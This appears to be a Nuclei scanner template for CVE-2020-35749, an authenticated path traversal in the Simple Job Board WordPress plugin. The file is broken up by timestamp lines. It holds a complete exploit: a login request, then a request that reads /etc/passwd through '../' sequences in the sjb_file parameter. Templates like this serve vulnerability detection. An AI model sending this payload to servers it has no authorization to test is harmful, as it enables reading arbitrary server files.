2022-02-08 01:07:19 +00:00
id : CVE-2020-35749
info :
2022-05-13 20:26:43 +00:00
name : Simple Job Board < 2.9.4 -Arbitrary File Retrieval (Authenticated)
2022-02-08 01:07:19 +00:00
author : cckuailong
severity : high
2022-05-17 09:18:12 +00:00
description : The plugin does not validate the sjb_file parameter when viewing a resume, allowing authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via a path traversal attack.
2022-02-08 01:07:19 +00:00
reference :
- https://wpscan.com/vulnerability/eed3bd69-2faf-4bc9-915c-c36211ef9e2d
- https://nvd.nist.gov/vuln/detail/CVE-2020-35749
2022-05-17 09:18:12 +00:00
- https://docs.google.com/document/d/1TbePkrRGsczepBaJptIdVRvfRrjiC5hjGg_Vxdesw6E/edit?usp=sharing
- http://packetstormsecurity.com/files/161050/Simple-JobBoard-Authenticated-File-Read.html
2022-02-08 01:07:19 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score : 7.7
cve-id : CVE-2020-35749
cwe-id : CWE-22
2022-02-08 18:43:40 +00:00
tags : cve,cve2020,lfi,wp,wordpress,wp-plugin,authenticated
2022-02-08 01:07:19 +00:00
requests :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0"
- type : status
status :
2022-02-08 18:43:40 +00:00
- 200